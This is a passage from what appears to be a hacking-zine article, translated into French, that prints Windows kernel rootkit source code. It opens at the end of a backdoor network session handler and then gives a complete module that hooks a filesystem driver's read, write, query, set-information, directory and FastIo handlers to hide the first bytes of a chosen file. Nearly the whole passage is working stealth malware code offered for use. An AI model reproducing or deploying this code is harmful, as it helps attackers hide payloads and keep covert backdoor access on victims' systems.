%X\n", status); //free the buffer delete ((uchar*)buf); UNREFERENCED_PARAMETER(bytecnt); } void Session::OnReceiveComplete(TDI_STATUS status, uint Indicated, uchar *Data) { // Buffer for the partially indicated data allocated and submitted during // OnReceive() processing is filled in by the transport. if (status == TDI_SUCCESS) { if (m_Pipes && pWBytePipe && m_Pipes->hPipe) { //Write that data to FIFO pWBytePipe->LockedWrite(Data, Indicated); //And notify DataPumpThread ZwSetEvent(m_Pipes->hPipeEvents[0], NULL); } } else dprintf("NtBackd00rDevice: Failed completing receive, err %X\n", status); if (status != TDI_PENDING) delete Data; } // end of file ---[ 8.10 - Intercept.cpp //This module hooks: // IRP_MJ_READ, IRP_MJ_WRITE, IRP_MJ_QUERY_INFORMATION, // IRP_MJ_SET_INFORMATION, IRP_MJ_DIRECTORY_CONTROL, // FASTIO_QUERY_STANDARD_INFO FASTIO_QUERY_BASIC_INFO FASTIO_READ(WRITE) //to hide first N bytes of given file extern "C" { #include } #pragma hdrstop("InterceptIO.pch") ///////////////////////////////////////////////////////////////////// // Undocumented structures missing in ntddk.h typedef struct _FILE_INTERNAL_INFORMATION { // Information Class 6 LARGE_INTEGER FileId; } FILE_INTERNAL_INFORMATION, *PFILE_INTERNAL_INFORMATION; typedef struct _FILE_EA_INFORMATION { // Information Class 7 ULONG EaInformationLength; } FILE_EA_INFORMATION, *PFILE_EA_INFORMATION; typedef struct _FILE_ACCESS_INFORMATION { // Information Class 8 ACCESS_MASK GrantedAccess; } FILE_ACCESS_INFORMATION, *PFILE_ACCESS_INFORMATION; typedef struct _FILE_MODE_INFORMATION { // Information Class 16 ULONG Mode; } FILE_MODE_INFORMATION, *PFILE_MODE_INFORMATION; typedef struct _FILE_ALLOCATION_INFORMATION { // Information Class 19 LARGE_INTEGER AllocationSize; } FILE_ALLOCATION_INFORMATION, *PFILE_ALLOCATION_INFORMATION; typedef struct _FILE_DIRECTORY_INFORMATION { ULONG NextEntryOffset; ULONG FileIndex; LARGE_INTEGER CreationTime; LARGE_INTEGER LastAccessTime; LARGE_INTEGER LastWriteTime; LARGE_INTEGER ChangeTime; LARGE_INTEGER EndOfFile; LARGE_INTEGER AllocationSize; ULONG FileAttributes; ULONG FileNameLength; WCHAR FileName[1]; } FILE_DIRECTORY_INFORMATION, *PFILE_DIRECTORY_INFORMATION; typedef struct _FILE_ALL_INFORMATION { // Information Class 18 FILE_BASIC_INFORMATION BasicInformation; FILE_STANDARD_INFORMATION StandardInformation; FILE_INTERNAL_INFORMATION InternalInformation; FILE_EA_INFORMATION EaInformation; FILE_ACCESS_INFORMATION AccessInformation; FILE_POSITION_INFORMATION PositionInformation; FILE_MODE_INFORMATION ModeInformation; FILE_ALIGNMENT_INFORMATION AlignmentInformation; FILE_NAME_INFORMATION NameInformation; } FILE_ALL_INFORMATION, *PFILE_ALL_INFORMATION; typedef struct tag_QUERY_DIRECTORY { ULONG Length; PUNICODE_STRING FileName; FILE_INFORMATION_CLASS FileInformationClass; ULONG FileIndex; } QUERY_DIRECTORY, *PQUERY_DIRECTORY; #pragma pack(push, 4) typedef struct tag_FQD_SmallCommonBlock { ULONG NextEntryOffset; ULONG FileIndex; } FQD_SmallCommonBlock, *PFQD_SmallCommonBlock; typedef struct tag_FQD_FILE_ATTR { TIME CreationTime; TIME LastAccessTime; TIME LastWriteTime; TIME ChangeTime; LARGE_INTEGER EndOfFile; LARGE_INTEGER AllocationSize; ULONG FileAttributes; } FQD_FILE_ATTR, *PFQD_FILE_ATTR; typedef struct tag_FQD_CommonBlock { FQD_SmallCommonBlock SmallCommonBlock; FQD_FILE_ATTR FileAttr; ULONG FileNameLength; } FQD_CommonBlock, *PFQD_CommonBlock; typedef struct _KFILE_DIRECTORY_INFORMATION { FQD_CommonBlock CommonBlock; WCHAR FileName[ANYSIZE_ARRAY]; } KFILE_DIRECTORY_INFORMATION, *PKFILE_DIRECTORY_INFORMATION; typedef struct _KFILE_FULL_DIR_INFORMATION { FQD_CommonBlock CommonBlock; ULONG EaSize; WCHAR FileName[ANYSIZE_ARRAY]; } KFILE_FULL_DIR_INFORMATION, *PKFILE_FULL_DIR_INFORMATION; typedef struct _KFILE_BOTH_DIR_INFORMATION { FQD_CommonBlock CommonBlock; ULONG EaSize; USHORT ShortFileNameLength; WCHAR ShortFileName[12]; WCHAR FileName[ANYSIZE_ARRAY]; } KFILE_BOTH_DIR_INFORMATION, *PKFILE_BOTH_DIR_INFORMATION; #pragma pack(pop) ///////////////////////////////////////////////////////////////////// // Global variables PDRIVER_OBJECT pDriverObject; PDRIVER_DISPATCH OldReadDisp, OldWriteDisp, OldQueryDisp, OldSetInfoDisp, OldDirCtlDisp; PFAST_IO_READ OldFastIoReadDisp; PFAST_IO_WRITE OldFastIoWriteDisp; PFAST_IO_QUERY_STANDARD_INFO OldFastIoQueryStandartInfoDisp; //Size of our file's Invisible Part (in bytes) ULONG InvisiblePartSize = 10; //File, part of which we want to hide wchar_t OurFileName[] = L"testing.fil"; //Size of OurFileName in bytes, excluding null terminator ULONG OurFileNameLen = sizeof(OurFileName) - sizeof(wchar_t); ///////////////////////////////////////////////////////////////////// // Functions //Function returns true if FN matches OurFileName bool ThisIsOurFile(PUNICODE_STRING FN) { return ((FN->Buffer) && (FN->Length >= OurFileNameLen) && _wcsnicmp((wchar_t*)((char*)FN->Buffer + FN->Length - OurFileNameLen), OurFileName, OurFileNameLen/2)==0); } //Structure used to track IRPs which completion must be handled struct s_ComplRtnTrack { PIO_COMPLETION_ROUTINE CompletionRoutine; PVOID Context; //When CompletionRoutine is called, flags corresponds to InvokeOn* UCHAR Control; PIO_STACK_LOCATION CISL; FILE_INFORMATION_CLASS FileInformationClass; PVOID Buffer; }; //Function set new CompletionRoutine, InvokeOnSuccess flag, //and copies original fields to Context void HookIrpCompletion(PIO_STACK_LOCATION CISL, PIO_COMPLETION_ROUTINE CompletionRoutine, PVOID Buffer, FILE_INFORMATION_CLASS FileInformationClass) { s_ComplRtnTrack* NewContext = (s_ComplRtnTrack*)ExAllocatePool(NonPagedPool, sizeof(s_ComplRtnTrack)); NewContext->CompletionRoutine = CISL->CompletionRoutine; NewContext->Context = CISL->Context; NewContext->Control = CISL->Control; NewContext->CISL = CISL; //Since CISL.Parameters unavailabile in IrpCompletion handler, //let's save all necessary data in Context structure NewContext->FileInformationClass = FileInformationClass; NewContext->Buffer = Buffer; CISL->CompletionRoutine = CompletionRoutine; CISL->Context = NewContext; CISL->Control |= SL_INVOKE_ON_SUCCESS; } //Function handles IRP completion NTSTATUS NewComplRtn ( IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp, s_ComplRtnTrack* CXT) { //Handle different types of IRP switch (CXT->CISL->MajorFunction) { case IRP_MJ_QUERY_INFORMATION: _asm int 3; //ThisIsOurFile is already tested switch (CXT->FileInformationClass) { //In all cases modify CurrentByteOffset and/or size (EndOfFile) //to hide first InvisiblePartSize bytes case FilePositionInformation: ((PFILE_POSITION_INFORMATION)CXT->Buffer)->CurrentByteOffset.QuadPart -= InvisiblePartSize; break; case FileEndOfFileInformation: ((PFILE_END_OF_FILE_INFORMATION)CXT->Buffer)->EndOfFile.QuadPart -= InvisiblePartSize; break; case FileStandardInformation: ((PFILE_STANDARD_INFORMATION)CXT->Buffer)->EndOfFile.QuadPart -= InvisiblePartSize; break; case FileAllocationInformation: ((PFILE_ALLOCATION_INFORMATION)CXT->Buffer)->AllocationSize.QuadPart -= InvisiblePartSize; break; case FileAllInformation: ((PFILE_ALL_INFORMATION)CXT->Buffer)->PositionInformation.CurrentByteOffset.QuadPart -= InvisiblePartSize; ((PFILE_ALL_INFORMATION)CXT->Buffer)->StandardInformation.EndOfFile.QuadPart -= InvisiblePartSize; break; } case IRP_MJ_DIRECTORY_CONTROL: //Get a pointer to first directory entries PFQD_SmallCommonBlock pQueryDirWin32 = (PFQD_SmallCommonBlock)CXT->Buffer; //Cycle through directory entries while (1) { PWCHAR pFileName = 0; ULONG dwFileNameLength = 0; switch (CXT->FileInformationClass) { //In all cases get pointer to FileName and FileNameLength case FileDirectoryInformation: dwFileNameLength = ((PKFILE_DIRECTORY_INFORMATION)pQueryDirWin32)->CommonBlock.FileNameLength; pFileName = ((PKFILE_DIRECTORY_INFORMATION)pQueryDirWin32)->FileName; break; case FileFullDirectoryInformation: dwFileNameLength = ((PKFILE_FULL_DIR_INFORMATION)pQueryDirWin32)->CommonBlock.FileNameLength; pFileName = ((PKFILE_FULL_DIR_INFORMATION)pQueryDirWin32)->FileName; break; case FileBothDirectoryInformation: dwFileNameLength = ((PKFILE_BOTH_DIR_INFORMATION)pQueryDirWin32)->CommonBlock.FileNameLength; pFileName = ((PKFILE_BOTH_DIR_INFORMATION)pQueryDirWin32)->FileName; break; } //_asm int 3; //Is this file that we want? if ((dwFileNameLength == OurFileNameLen) && _wcsnicmp(pFileName, OurFileName, OurFileNameLen/2)==0) { //_asm int 3; //Hide first InvisiblePartSize bytes ((PFQD_CommonBlock)pQueryDirWin32)->FileAttr.EndOfFile.QuadPart -= InvisiblePartSize; break; } //Quit if no more directory entries if (!pQueryDirWin32->NextEntryOffset) break; //Continue with next directory entry pQueryDirWin32 = (PFQD_SmallCommonBlock)((CHAR*)pQueryDirWin32 + pQueryDirWin32->NextEntryOffset); } } //If appropriate Control flag was set,... if ( ((CXT->Control == SL_INVOKE_ON_SUCCESS)&&(NT_SUCCESS(Irp->IoStatus.Status))) || ((CXT->Control == SL_INVOKE_ON_ERROR)&&(NT_ERROR(Irp->IoStatus.Status))) || ((CXT->Control == SL_INVOKE_ON_CANCEL)&&(Irp->IoStatus.Status == STATUS_CANCELLED)) ) //...call original CompletionRoutine return CXT->CompletionRoutine( DeviceObject, Irp, CXT->Context); else return STATUS_SUCCESS; } //Filename IRP handler deal with #define FName &(CISL->FileObject->FileName) //Function handles IRP_MJ_READ and IRP_MJ_WRITE NTSTATUS NewReadWriteDisp ( IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp) { //_asm int 3; PIO_STACK_LOCATION CISL = IoGetCurrentIrpStackLocation(Irp); if (CISL->FileObject && //Don't mess with swaping !(Irp->Flags & IRP_PAGING_IO) && !(Irp->Flags & IRP_SYNCHRONOUS_PAGING_IO)) { if (ThisIsOurFile(FName)) { //_asm int 3; CISL->Parameters.Write.ByteOffset.QuadPart += InvisiblePartSize; //Write and Read has the same structure, thus handled together } } //Call corresponding original handler switch (CISL->MajorFunction) { case IRP_MJ_READ: return OldReadDisp(DeviceObject, Irp); case IRP_MJ_WRITE: return OldWriteDisp(DeviceObject, Irp); } } //Function handles IRP_MJ_QUERY_INFORMATION NTSTATUS NewQueryDisp ( IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp) { //_asm int 3; PIO_STACK_LOCATION CISL = IoGetCurrentIrpStackLocation(Irp); if ((CISL->MajorFunction == IRP_MJ_QUERY_INFORMATION) && ThisIsOurFile(FName)) { //_asm int 3; switch (CISL->Parameters.QueryFile.FileInformationClass) { //Information types that contains file size or current offset case FilePositionInformation: case FileEndOfFileInformation: case FileStandardInformation: case FileAllocationInformation: case FileAllInformation: //_asm int 3; HookIrpCompletion(CISL, (PIO_COMPLETION_ROUTINE)NewComplRtn, Irp->AssociatedIrp.SystemBuffer, CISL->Parameters.QueryFile.FileInformationClass); } } //Call original handler return OldQueryDisp(DeviceObject, Irp); } //Function handles IRP_MJ_SET_INFORMATION NTSTATUS NewSetInfoDisp ( IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp) { //_asm int 3; PIO_STACK_LOCATION CISL = IoGetCurrentIrpStackLocation(Irp); if (CISL->FileObject && ThisIsOurFile(FName)) { //_asm int 3; switch (CISL->Parameters.QueryFile.FileInformationClass) { //Information types that contains file size or current offset. //In all cases modify CurrentByteOffset and/or size (EndOfFile) //to hide first InvisiblePartSize bytes case FilePositionInformation: ((PFILE_POSITION_INFORMATION)Irp->AssociatedIrp.SystemBuffer)->CurrentByteOffset.QuadPart += InvisiblePartSize; break; case FileEndOfFileInformation: ((PFILE_END_OF_FILE_INFORMATION)Irp->AssociatedIrp.SystemBuffer)->EndOfFile.QuadPart += InvisiblePartSize; break; case FileStandardInformation: ((PFILE_STANDARD_INFORMATION)Irp->AssociatedIrp.SystemBuffer)->EndOfFile.QuadPart += InvisiblePartSize; break; case FileAllocationInformation: //_asm int 3; ((PFILE_ALLOCATION_INFORMATION)Irp->AssociatedIrp.SystemBuffer)->AllocationSize.QuadPart += InvisiblePartSize; break; case FileAllInformation: ((PFILE_ALL_INFORMATION)Irp->AssociatedIrp.SystemBuffer)->PositionInformation.CurrentByteOffset.QuadPart += InvisiblePartSize; ((PFILE_ALL_INFORMATION)Irp->AssociatedIrp.SystemBuffer)->StandardInformation.EndOfFile.QuadPart += InvisiblePartSize; break; } } //Call original handler return OldSetInfoDisp(DeviceObject, Irp); } //Function handles IRP_MJ_DIRECTORY_CONTROL NTSTATUS NewDirCtlDisp ( IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp) { void *pBuffer; PIO_STACK_LOCATION CISL = IoGetCurrentIrpStackLocation(Irp); //_asm int 3; if ((CISL->MajorFunction == IRP_MJ_DIRECTORY_CONTROL) && (CISL->MinorFunction == IRP_MN_QUERY_DIRECTORY)) { //Handle both ways of passing user supplied buffer if (Irp->MdlAddress) pBuffer = MmGetSystemAddressForMdl(Irp->MdlAddress); else pBuffer = Irp->UserBuffer; HookIrpCompletion(CISL, (PIO_COMPLETION_ROUTINE)NewComplRtn, pBuffer, ((PQUERY_DIRECTORY)(&CISL->Parameters))->FileInformationClass); } //Call original handler return OldDirCtlDisp(DeviceObject, Irp); } #undef FName //Function handles FastIoRead BOOLEAN NewFastIoRead( IN PFILE_OBJECT FileObject, IN PLARGE_INTEGER FileOffset, IN ULONG Length, IN BOOLEAN Wait, IN ULONG LockKey, OUT PVOID Buffer, OUT PIO_STATUS_BLOCK IoStatus, IN PDEVICE_OBJECT DeviceObject ) { LARGE_INTEGER NewFileOffset; //_asm int 3; if ((FileObject) && (ThisIsOurFile(&FileObject->FileName))) { //_asm int 3; //Modify FileOffset to hide first InvisiblePartSize bytes NewFileOffset.QuadPart = FileOffset->QuadPart + InvisiblePartSize; return OldFastIoReadDisp(FileObject, &NewFileOffset, Length, Wait, LockKey, Buffer, IoStatus, DeviceObject); } //Call original handler return OldFastIoReadDisp(FileObject, FileOffset, Length, Wait, LockKey, Buffer, IoStatus, DeviceObject); } //Function handles FastIoWrite BOOLEAN NewFastIoWrite( IN PFILE_OBJECT FileObject, IN PLARGE_INTEGER FileOffset, IN ULONG Length, IN BOOLEAN Wait, IN ULONG LockKey, OUT PVOID Buffer, OUT PIO_STATUS_BLOCK IoStatus, IN PDEVICE_OBJECT DeviceObject ) { LARGE_INTEGER NewFileOffset; //_asm int 3; if ((FileObject) && (ThisIsOurFile(&FileObject->FileName))) { //_asm int 3; //Modify FileOffset to hide first InvisiblePartSize bytes NewFileOffset.QuadPart = FileOffset->QuadPart + InvisiblePartSize; return OldFastIoWriteDisp(FileObject, &NewFileOffset, Length, Wait, LockKey, Buffer, IoStatus, DeviceObject); } return OldFastIoWriteDisp(FileObject, FileOffset, Length, Wait, LockKey, Buffer, IoStatus, DeviceObject); } //Function handles FastIoQueryStandartInfo BOOLEAN NewFastIoQueryStandartInfo( IN struct _FILE_OBJECT *FileObject, IN BOOLEAN Wait, OUT PFILE_STANDARD_INFORMATION Buffer, OUT PIO_STATUS_BLOCK IoStatus, IN struct _DEVICE_OBJECT *DeviceObject ) { //Call original handler BOOLEAN status = OldFastIoQueryStandartInfoDisp(FileObject, Wait, Buffer, IoStatus, DeviceObject); if ((FileObject) && (ThisIsOurFile(&FileObject->FileName))) { //_asm int 3; //Modify EndOfFile to hide first InvisiblePartSize bytes Buffer->EndOfFile.QuadPart -= InvisiblePartSize; } return status; } extern "C" NTSYSAPI NTSTATUS NTAPI ObReferenceObjectByName( IN PUNICODE_STRING ObjectPath, IN ULONG Attributes, IN PACCESS_STATE PassedAccessState OPTIONAL, IN ACCESS_MASK DesiredAccess OPTIONAL, IN POBJECT_TYPE ObjectType, IN KPROCESSOR_MODE AccessMode, IN OUT PVOID ParseContext OPTIONAL, OUT PVOID *ObjectPtr ); extern "C" PVOID IoDriverObjectType; //Function hooks given dispatch function (MajorFunction) VOID InterceptFunction(UCHAR MajorFunction, PDRIVER_OBJECT pDriverObject, OPTIONAL PDRIVER_DISPATCH *OldFunctionPtr, OPTIONAL PDRIVER_DISPATCH NewFunctionPtr) { PDRIVER_DISPATCH *TargetFn; TargetFn = &(pDriverObject->MajorFunction[MajorFunction]); //hook only if handler exists if (*TargetFn) { if (OldFunctionPtr) *OldFunctionPtr = *TargetFn; if (NewFunctionPtr) *TargetFn = NewFunctionPtr; } } //Function hooks given driver's dispatch functions NTSTATUS Intercept(PWSTR pwszDeviceName) { UNICODE_STRING DeviceName; NTSTATUS status; KIRQL OldIrql; _asm int 3; pDriverObject = NULL; RtlInitUnicodeString(&DeviceName, pwszDeviceName); status = ObReferenceObjectByName(&DeviceName, OBJ_CASE_INSENSITIVE, NULL, 0, (POBJECT_TYPE)IoDriverObjectType, KernelMode, NULL, (PVOID*)&pDriverObject); if (pDriverObject) { //Raise IRQL to avoid context switch //when some pointer is semi-modified KeRaiseIrql(HIGH_LEVEL, &OldIrql); //hook dispatch functions InterceptFunction(IRP_MJ_READ, pDriverObject, &OldReadDisp, NewReadWriteDisp); InterceptFunction(IRP_MJ_WRITE, pDriverObject, &OldWriteDisp, NewReadWriteDisp); InterceptFunction(IRP_MJ_QUERY_INFORMATION, pDriverObject, &OldQueryDisp, NewQueryDisp); InterceptFunction(IRP_MJ_SET_INFORMATION, pDriverObject, &OldSetInfoDisp, NewSetInfoDisp); InterceptFunction(IRP_MJ_DIRECTORY_CONTROL, pDriverObject, &OldDirCtlDisp, NewDirCtlDisp); //hook FastIo dispatch functions if FastIo table exists if (pDriverObject->FastIoDispatch) { //It would be better to copy FastIo table to avoid //messing with kernel memory protection, but it works as it is OldFastIoReadDisp = pDriverObject->FastIoDispatch->FastIoRead; pDriverObject->FastIoDispatch->FastIoRead = NewFastIoRead; OldFastIoWriteDisp = pDriverObject->FastIoDispatch->FastIoWrite; pDriverObject->FastIoDispatch->FastIoWrite = NewFastIoWrite; OldFastIoQueryStandartInfoDisp = pDriverObject->FastIoDispatch->FastIoQueryStandardInfo; pDriverObject->FastIoDispatch->FastIoQueryStandardInfo = NewFastIoQueryStandartInfo; } KeLowerIrql(OldIrql); } return status; } //Function cancels hooking VOID UnIntercept() { KIRQL OldIrql; if (pDriverObject) { KeRaiseIrql(HIGH_LEVEL, &OldIrql); InterceptFunction(IRP_MJ_READ, pDriverObject, NULL, OldReadDisp); InterceptFunction(IRP_MJ_WRITE, pDriverObject, NULL, OldWriteDisp); InterceptFunction(IRP_MJ_QUERY_INFORMATION, pDriverObject, NULL, OldQueryDisp); InterceptFunction(IRP_MJ_SET_INFORMATION, pDriverObject, NULL, OldSetInfoDisp); InterceptFunction(IRP_MJ_DIRECTORY_CONTROL, pDriverObject, NULL, OldDirCtlDisp); if (pDriverObject->FastIoDispatch) { pDriverObject->FastIoDispatch->FastIoRead = OldFastIoReadDisp; pDriverObject->FastIoDispatch->FastIoWrite = OldFastIoWriteDisp; pDriverObject->FastIoDispatch->FastIoQueryStandardInfo = OldFastIoQueryStandartInfoDisp; } KeLowerIrql(OldIrql); ObDereferenceObject(pDriverObject); } } |=[ EOF ]=---------------------------------------------------------------=| [Traduit de l'anglais par TboWan pour arsouyes.org]